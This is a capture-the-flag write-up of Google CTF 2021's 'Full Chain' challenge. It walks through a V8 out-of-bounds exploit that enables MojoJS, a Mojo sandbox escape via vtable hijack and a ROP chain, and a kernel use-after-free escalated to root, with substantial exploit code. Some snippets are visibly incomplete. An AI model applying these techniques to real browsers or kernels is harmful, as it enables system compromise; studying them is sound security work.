From JavaScript to Kernel - Google CTF 2021 Quals "Full Chain" Writeup

I played Google CTF 2021 Quals in zer0pts and I worked on several tasks. In the 6 pwnable challenges I solved during the CTF I liked "Full Chain" the most. This challenge consists of 3 parts: browser exploitation, sandbox escape, and privilege escalation. Each part is very educational and is good for the introduction to each of the fields.

The full exploits are available on my repository.

Browser Exploitation

The first one is the browser exploitation part. The target browser is the latest Google Chrome with some modifications made to the code. Before getting into the details about browser exploitation, I'm going to briefly explain about the basics.


There are 2 kinds of processes in Chromium: renderer and browser.

A browser is dangerous. It accepts any HTML, CSS, or JavaScript from the server, interprets, renders, and executes them. The attackers can also serve some resources and let the visitors execute them. Especially JavaScript is a good target for compromising the browser. The attackers usually cannot execute some system binaries or access the local files because JavaScript is designed to be secure. The JavaScript engine of Chromium is called V8. However, some vulnerabilities in the JavaScript engine allow them to run arbitrary (machine) code due to the flaw. As virtually everyone uses the browser, the impact of the vulnerability is enormous.

To prevent the attackers from executing commands or accessing the local files, most of the modern browsers have some sandbox feature. The dangerous part of the browser (JavaScript engine, HTML parser, and so on) executes on the sandboxed process (the renderer process) and the core part (networking, cookie manager, and so on) executes on the unsandboxed process (the browser process).

When we run the browser, there exists one browser process and multiple renderer processes. A renderer process is created for a frame such as a browser tab or iframe. Every renderer process communicates with the browser process using IPC (Inter-Process Communication). Chromium uses an IPC scheme called Mojo. We need to exploit the browser process through Mojo in many cases if we want to escape the sandbox.

You can check the official documentation for more details about Mojo.

Is Exploiting the Renderer Necessary?

The first part of the challenge is about exploiting the JavaScript engine running on the renderer process. We cannot execute any commands even if we compromise the renderer process because of the sandbox. On the other hand, the second part of the challenge is about escaping the sandbox, by which we can execute any commands through JavaScript. So, why do we have to write the exploit for the renderer process?

The vulnerability for the sandbox escape lies in the browser process. As I explained, we have to use Mojo to exploit this vulnerability. Mojo, however, is not exposed to JavaScript by default. We can enable Mojo by modifying a flag (flipping a bit) in the JavaScript engine. This is why we need to exploit the renderer process before exploiting the browser process.

Patch Analysis

The patch of the JavaScript engine is tiny:

diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..ac5ebe9913 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -198,7 +198,7 @@ TypedArrayPrototypeSetTypedArray(implicit context: Context, receiver: JSAny)(
   if (targetOffsetOverflowed) goto IfOffsetOutOfBounds;
   // 9. Let targetLength be target.[[ArrayLength]].
-  const targetLength = target.length;
+  // const targetLength = target.length;
   // 19. Let srcLength be typedArray.[[ArrayLength]].
   const srcLength: uintptr = typedArray.length;
@@ -207,8 +207,8 @@ TypedArrayPrototypeSetTypedArray(implicit context: Context, receiver: JSAny)(
   // 21. If srcLength + targetOffset > targetLength, throw a RangeError
   //   exception.
-  CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)
-      otherwise IfOffsetOutOfBounds;
+  // CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)
+  //     otherwise IfOffsetOutOfBounds;
   // 12. Let targetName be the String value of target.[[TypedArrayName]].
   // 13. Let targetType be the Element Type value in Table 62 for

Only 3 lines in TypedArrayPrototypeSetTypedArray are removed.

This is a "Torque" code. The V8 engine uses a language named Torque to define the behavior of the built-in functions in JavaScript. The function above, as the name suggests, defines the behavior of TypedArray.prototype.set(TypedArray, ...). So, the change affects to Uint8Array, Uint32Array, Float64Array, and so on.

The bug is pretty obvious. CheckIntegerIndexAdditionOverflow is removed from the code, meaning the buffer may overflow in the set method of a typed array. Let's write a proof-of-concept.

let x = new Uint32Array(8);
let y = new Uint32Array(8);
x.set(y, 4);

The PoC causes a crash.

Received signal 11 SEGV_ACCERR 1e4108020ffc
#0 0x55555bb395c9 base::debug::CollectStackTrace()
#1 0x55555baa4763 base::debug::StackTrace::StackTrace()
#2 0x55555bb390f1 base::debug::(anonymous namespace)::StackDumpSignalHandler()
#3 0x7ffff7f903c0 (/usr/lib/x86_64-linux-gnu/libpthread-2.31.so+0x153bf)
#4 0x1e41000ac78c <unknown>
  r8: 0000000000000000  r9: fffffffffffd5997 r10: 00002a6c002a6259 r11: 0000000000000000
 r12: 00001e410804b664 r13: 00002a6c00520000 r14: 00001e4100000000 r15: 00001e41082278b5
  di: 00001e410804b665  si: 00001e4108226c45  bp: 00007fffffffb5c0  bx: 0000000000000000
  dx: 0000000000000000  ax: 00001e410804b545  cx: 00001e41080023b5  sp: 00007fffffffb598
  ip: 00001e41000ac78c efl: 0000000000010282 cgf: 002b000000000033 erf: 0000000000000007
 trp: 000000000000000e msk: 0000000000000000 cr2: 00001e4108020ffc
[end of stack trace]

We defined two Uint32Arrays with 8 elements. x.set(y, 4); is trying to copy y into x from the 5th element of x. We can only copy 4 elements but the bug allows us to overwrite the buffer.


Using the bug, we're going to create some "primitives" to make the exploit easy. I prefer to use the bug as few times as possible*1.

The bug above is Out-of-Bounds (OOB) write. We can write arbitrary values to some specific offsets.

Addrof Primitive

The first thing to create is "addrof" primitive. This is a function that returns the address of a given JavaScript object. We're going to make this primitive because we need at least one address for the exploit.

I have OOB write and I'm going to turn it into OOB read/write. This is easy because we can simply overwrite the length field of an array object.

let y = new Uint32Array(1);
let x = new Uint32Array(1);
let oob_double = [1.1, 1.1, 1.1, 1.1];
y.set([2222], 0);
x.set(y, 33);


In the code above, x.set(y, 33); overwrites the length of oob_double. (You can easily find the offset in gdb.) This results in making the length of oob_double 1111*2.

Now, we have OOB read/write on oob_double. We can read some values on the memory, including some pointers, as float values.

We just need to prepare the target object to leak after the oob_double and read the pointer by OOB read.

function make_primitives() {
    let evil   = new Uint32Array(1);
    let victim = new Uint32Array(1);
    let oob_double = [1.1, 1.1, 1.1, 1.1];
    let arr_addrof = [{}];
    evil.set([0x8888], 0);
    victim.set(evil, 33);
    console.log("[+] oob_double.length = " + oob_double.length);
    return [oob_double, arr_addrof];

function addrof(obj) {
    arr_addrof[0] = obj;
    return (oob_double[7].f2i() >> 32n) - 1n;

let [oob_double, arr_addrof] = make_primitives();

let target = {};

Be careful the hardcoded offset values may change as you develop the exploit but you can easily find it in gdb. The PoC above outputs something like the following.

0x120e0804b9d1 <Object map = 0x120e08246101>
[0726/092053.410523:INFO:CONSOLE(26)] "[+] oob_double.length = 17476", source: file:///home/ptr/google/writeup/poc.js (26)
[0726/092053.410716:INFO:CONSOLE(39)] "0x8246100", source: file:///home/ptr/google/writeup/poc.js (39)

In the recent version of V8, 64-bit pointers are compressed into 32-bit and that's why the leaked address looks like 32-bit.

Leaking the High Pointer

The pointer compression is somewhat troublesome to make AAR/AAW primitives. Sometimes you want to know the full address of the JavaScript objects.

TypedArray is a special object in that it has a full address of the buffer*3. We can get the upper 32-bit address of the JSObjects by reading the full address of a typed array.

let heap_upper = oob_double[28].f2i() & 0xffffffff00000000n;
console.log("[+] heap_upper = " + heap_upper.hex());

AAR/AAW Primitive

As I explained, a typed array has the full address to the buffer. We can overwrite this address to make arbitrary-address-read (AAR) primitive.

function aar64(addr) {
    oob_double[28] = ((addr & 0xffffffff00000000n) | 7n).i2f();
    oob_double[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();
    return www_double[0].f2i();

Arbitrary-address-write (AAW) can be achieved in the very same way.

function aaw64(addr, value) {
    oob_double[28] = ((addr & 0xffffffff00000000n) | 7n).i2f();
    oob_double[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();
    www_double[0] = value.i2f();

Enabling Mojo

Our goal is to enable Mojo rather than execute a shellcode.

Chromium has various flags and one of them is is_mojo_js_enabled_. This boolean variable can be located at the chrome binary. So, we have to leak the address of the chrome binary.

There are many ways to leak the textbase but I chose HTMLDivElement. A div object has a pointer to the instance of a class named HTMLDivElement. This is data in the chrome binary and so we can calculate the base address of the chrome.

/* Leak chrome base */
let div = document.createElement('div');
let addr_div = heap_upper | addrof(div);
console.log("[+] addr_div = " + addr_div.hex());
let addr_HTMLDivElement = aar64(addr_div + 0xCn);
console.log("[+] <HTMLDivElement> = " + addr_HTMLDivElement.hex());
let chrome_base = addr_HTMLDivElement - 0xc1bb7c0n;
console.log("[+] chrome_base = " + chrome_base.hex());

Now, enabling Mojo is easy. We can simply flip the bit of is_mojo_js_enabled_ by using the AAW primitive.

/* Enable MojoJS */
console.log("[+] Overwriting flags..");
let addr_flag_MojoJS = chrome_base + 0xc560f0en;
let addr_flag_MojoJSTest = chrome_base + 0xc560f0fn;
aaw64(addr_flag_MojoJS & 0xfffffffffffffff8n, 0x0101010101010101n);
aaw64(addr_flag_MojoJSTest & 0xfffffffffffffff8n, 0x0101010101010101n);

In the code above I also change the flag named is_mojo_js_test_enabled_, which is useful for writing some browser exploitation (especially race) but eventually I didn't use it.

Calm Down GC

We have to reload the page to enable Mojo. However, reloading the page frees the JavaScript objects we made. These objects no longer get tracked by the garbage collector.

This is a huge problem. We overwrote some pointers to some invalid addresses. The garbage collector tries to free the invalid address and crashes. So, we need to clean up the objects we messed up before the garbage collector gets angry.

The pointer we overwrote is only the AAR/AAW array. I saved the original pointer and restored it before redirecting the page.

    let original_28 = oob_double[28];
    let original_29 = oob_double[29];
    function cleanup() {
        oob_double[28] = original_28;
        oob_double[29] = original_29;
    /* Cleanup */
    window.location.href = "/sbx_exploit.html";

Sandbox Escape

The second part is the sandbox escape.

Patch Analysis

The patch for the browser exploit is a bit big. This time the patch implements a new feature rather than introduces the bug to an existing function.

The patch implements a Mojo interface named CtfInterface.

interface CtfInterface {
  ResizeVector(uint32 size) => ();
  Read(uint32 offset) => (double value);
  Write(double value, uint32 offset) => ();

We can allocate a vector with arbitrary size.

void CtfInterfaceImpl::ResizeVector(uint32_t size,
                                    ResizeVectorCallback callback) {

The vulnerability lies in Read and Write methods in which we can read/write the vector out-of-bounds.

void CtfInterfaceImpl::Read(uint32_t offset, ReadCallback callback) {

void CtfInterfaceImpl::Write(double value,
                             uint32_t offset,
                             WriteCallback callback) {
  numbers_[offset] = value;

Address Leak

Not only browser exploit but most real-world exploits follow the same path.

  1. Leak an address
  2. Gain AAR/AAW
  3. Control RIP

Leaking an address is easy because we have OOB read on the heap.

The problem is that we can't predict what objects come after the vulnerable vector because of the heavy multi-process system. My idea is to spray the CtfInterface and allocate a vector of the same size as CtfInterface. Then it's likely to have a CtfInterface instance near the vector.

I wrote a script to search for a specific pattern in the memory to leak the desired pointer.

    /* Find evil */
    let addr_evil = null;
    let addr_elm = null;
    let chrome_base = null;
    for (let i = 1; i < 0x80; i++) {
        let a0 = (await evil.read((0x60 / 8) * i + 0)).value.f2i();
        let a1 = (await evil.read((0x60 / 8) * i + 1)).value.f2i();
        let a2 = (await evil.read((0x60 / 8) * i + 2)).value.f2i();
        if (a0 != 0n && a1 == 0n && a2 == 0n) {
            let a6 = (await evil.read((0x60 / 8) * i + 6)).value.f2i();
            let a7 = (await evil.read((0x60 / 8) * i + 7)).value.f2i();
            addr_evil = a0;
            addr_elm = a6 - 0x18n - BigInt(0x60 * i);
            chrome_base = a7 - 0xbc77518n;
    if (addr_elm == null) {
        console.log("[-] Bad luck!");
        return location.reload();
    let offset = Number((addr_evil - addr_elm) / 8n);
    console.log("[+] offset = " + offset);
    if (offset < 0) {
        console.log("[-] Bad luck!");
        return location.reload();
    console.log("[+] addr_evil = " + addr_evil.hex());
    console.log("[+] addr_elm = " + addr_elm.hex());
    console.log("[+] chrome_base = " + chrome_base.hex());

The exploit above leaks the address of the instance, vector, and chrome program base. The code calculates the offset to the CtfInterface instance from the vector. It re-tries the exploit (by location.reload()) if the offset is negative because we have only positive OOB read/write so far.

AAR/AAW Primitives

As we found the address of a CtfInterface instance, we can overwrite the pointers in std::vector. This is powerful because we can get AAR/AAW primitives by modifying the vector's element pointer.

    async function aar64(addr) {
        await evil.write(addr.i2f(),
                         offset + (0x60 / 8) * victim_ofs + 1);
        await evil.write((addr + 0x10n).i2f(),
                         offset + (0x60 / 8) * victim_ofs + 2);
        await evil.write((addr + 0x10n).i2f(),
                         offset + (0x60 / 8) * victim_ofs + 3);
        return (await victim.read(0)).value.f2i();
    async function aaw64(addr, value) {
        await evil.write(addr.i2f(),
                         offset + (0x60 / 8) * victim_ofs + 1);
        await evil.write((addr + 0x10n).i2f(),
                         offset + (0x60 / 8) * victim_ofs + 2);
        await evil.write((addr + 0x10n).i2f(),
                         offset + (0x60 / 8) * victim_ofs + 3);
        await victim.write(value.i2f(), 0);

Actually, AAR and AAW are not necessary to exploit this vulnerability. Anyway, it's better than nothing.

Vtable Hijack

So, how to control RIP?

I think the easiest way is to hijack the vtable of CtfInterface. Many instances in Chromium, including the Mojo interface, have their own function tables to handle some virtual methods. The vtable is written in the heap (the first qword of each object) and we can simply overwrite it.

By changing the vtable to our fake vtable, we can control RIP when the modified object is used. (We can prepare the vtable on the heap because we have the heap address, or write to somewhere else because we also have AAW primitive.)

After controlling RIP, it's natural to use stack pivot to run our ROP chain. I used xchg rax, rsp; ret; gadget and called mprotect in the ROP chain to execute my shellcode.

    let rop_pop_rdi = chrome_base + 0x035d445dn;
    let rop_pop_rsi = chrome_base + 0x0348edaen;
    let rop_pop_rdx = chrome_base + 0x03655332n;
    let rop_pop_rax = chrome_base + 0x03419404n;
    let rop_syscall = chrome_base + 0x0800dd77n;
    let rop_xchg_rax_rsp = chrome_base + 0x0590510en
    let addr_shellcode = addr_elm & 0xfffffffffffff000n;
    let rop = [
        rop_xchg_rax_rsp, // vtable target
    for (let i = 0; i < rop.length; i++) {
        await evil.write(rop[i].i2f(), i);
    for (let i = 0; i < shellcode.length; i++) {
        await aaw64(addr_shellcode + BigInt(i*8), shellcode[i].f2i());

    await aaw64(addr_evil, addr_elm);
    setTimeout(() => {
        for (let p of spray) {
            p.read(0); // Control RIP
    }, 3000);

Now we can run arbitrary shellcode. Just write a shellcode to execute /bin/bash :)

Privilege Escalation

The last part is kernel exploitation.

Driver Analysis

The kernel loads a vulnerable driver named ctfdevice. It allows us to allocate and free data of arbitrary size.

static ssize_t ctf_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
  struct ctf_data *data = f->private_data;
  char *mem;

  switch(cmd) {
  case 1337:
    if (arg > 2000) {
      return -EINVAL;

    mem = kmalloc(arg, GFP_KERNEL);
    if (mem == NULL) {
      return -ENOMEM;

    data->mem = mem;
    data->size = arg;

  case 1338:

    return -ENOTTY;

  return 0;

You can see the pointer data->mem is not NULL-ed after kfree. However, read and write may use data->mem even after it's freed.

static ssize_t ctf_read(struct file *f, char __user *data, size_t size, loff_t *off)
  struct ctf_data *ctf_data = f->private_data;
  if (size > ctf_data->size) {
    return -EINVAL;

  if (copy_to_user(data, ctf_data->mem, size)) {
    return -EFAULT;

  return size;

static ssize_t ctf_write(struct file *f, const char __user *data, size_t size, loff_t *off)
  struct ctf_data *ctf_data = f->private_data;
  if (size > ctf_data->size) {
    return -EINVAL;

  if (copy_from_user(ctf_data->mem, data, size)) {
    return -EFAULT;

  return size;

This is obviously Use-after-Free.

The basic idea of exploiting Use-after-Free is the same as user-land Use-after-Free. However, kernel-land User-after-Free is much stronger. This is because any objects allocated by the kernel can affect the vulnerability.

Address Leak

A year ago I wrote a Japanese article that explains some structures useful for kernel exploit. As explained in the article, tty_struct is a good target. It can leak the kernel pointer, heap pointer and also is useful for controlling RIP. This object is allocated when we open /dev/ptmx.

I sprayed this object after freeing the data->mem. After the spray, it's likely that data->mem overlaps with one of the sprayed tty_struct objects.

  /* Leak addresses */
  for (int i = 0; i < 0x100; i++) {
    spray[i] = open("/dev/ptmx", O_NOCTTY | O_RDONLY);
  memset(buf, 0, sizeof(buf));
  dev_read((void*)buf, 0x2e0);
  kbase = buf[3] - (0xffffffff820745e0 - 0xffffffff81000000);
  kheap = buf[8] - 0x38;
  printf("[+] kbase = 0x%lx\n", kbase);
  printf("[+] kheap = 0x%lx\n", kheap);

AAR/AAW Primitives

The tty_struct has a function table (tty_operations) named ops. We overwrite it with a fake function table pointer and run some operations such as ioctl on the /dev/ptmx file descriptor in order to control RIP. The question is where to jump.

Basically, there're two ways to escalate the privilege.

  1. Call commit_creds(prepare_kernel_cred(NULL)) to get root privilege
  2. Overwrite EUID of cred structure of the own process

You can take either way but I chose the 2nd method.

The EUID, UID, GID, and so on are stored on the structure named cred. This object is allocated on the heap for each process and is referenced by a structure named task_struct. task_struct is also allocated on the heap for each process.

So, we need AAR and AAW primitives to leak the pointer of the cred object. But how can we get them?

A Korean security researcher, pr0cf5, found and published a technique to turn RIP control into AAR/AAW 2 years ago. You should check his article for more details. This is a very useful and powerful method, and I used it in this challenge too. Basically, we just have to find an ROP gadget like the following for AAR:

mov rax, [rdx]; ret;

And for AAW:

mov [rdx], ecx; ret;

It's very likely that the Linux kernel has such ROP gadgets.

void aaw32(unsigned long address, unsigned int value) {
  unsigned long *fake_ops = &buf[0x300 / 8];
  buf[3] = kheap + ((void*)fake_ops - (void*)buf);
  fake_ops[12] = rop_mov_prdx_ecx;
  dev_write((void*)buf, 0x3f0);
  for (int i = 0; i < 0x100; i++) {
    ioctl(spray[i], value, address);
int ofs_cache;
unsigned int aar32(unsigned long address) {
  unsigned long *fake_ops = &buf[0x300 / 8];
  buf[3] = kheap + ((void*)fake_ops - (void*)buf);
  fake_ops[12] = rop_mov_rax_prdx;
  dev_write((void*)buf, 0x3f0);
  for (int i = 0; i < 0x100; i++) {
    int result = ioctl(spray[i], 0, address);
    ofs_cache = i;
    if (result != -1)
      return result;

Finding the Credential

The next question is how to find task_struct of the current process.

There's a member named comm in task_struct.

 /* Objective and real subjective task credentials (COW): */
    const struct cred __rcu       *real_cred;

    /* Effective (overridable) subjective task credentials (COW): */
    const struct cred __rcu       *cred;

    * executable name, excluding path.
    * - normally initialized setup_new_exec()
    * - access it with [gs]et_task_comm()
    * - lock it with task_lock()
    char               comm[TASK_COMM_LEN];

This string defines the name of the current executable. We can change it by prctl function like this.

prctl(PR_SET_NAME, "HELLO");

If we run the code above, comm of the current struct is overwritten by the string "HELLO."

So, it can put a marker in the task_struct of the current process. We can look for the marker on the memory by using the AAR primitive. If we find the marker, we can also read the cred pointer and then overwrite the EUID with 0 (=root).

  /* Search for task_struct */
  prctl(PR_SET_NAME, "legoshi");
  if (aar32(kbase) != 0x51258d48) {
    puts("AAR is not working");
    return 1;
  unsigned long addr_cred = 0;
  for (unsigned long cur = kheap - 0x10008;
       cur > kheap - 0x10000000;
       cur -= 0x10) {
    if ((cur & 0xfffff) == 8) {
      printf("[*] Searching... (0x%lx)\n", cur);
    if (aar32(cur) == 0x6f67656c) {
      printf("[+] Found: 0x%lx\n", cur);
      addr_cred = ((unsigned long)aar32(cur-0x14) << 32) | aar32(cur-0x18);
  printf("[+] cred = 0x%lx\n", addr_cred);

  /* Overwrite EUID */
  for (int i = 1; i <= 8; i++) {
    aaw32(addr_cred + 4*i, 0);
  printf("[+] Done!");


The full exploits (and exploits for each stage) are available on my repository.

To summarize, I have written the exploit for the renderer, browser, and kernel. The renderer bug was a heap buffer overflow. The browser bug was out-of-bounds array access on the heap. The kernel bug was use-after-free. I think each of the vulnerabilities is so simple that we can focus on the exploit part and is good for educational purposes.

Fortunately, I could get the first blood on this challenge :) I'd like to thank the author for such a great challenge!

*1:A bug is a bug. Using the bug many times likely crashes the program.

*2:Be careful that Chromium uses SMI, which doubles the integer values stored on the memory

*3:This is because the buffer may consume lots of memory and is allocated in the different heap region.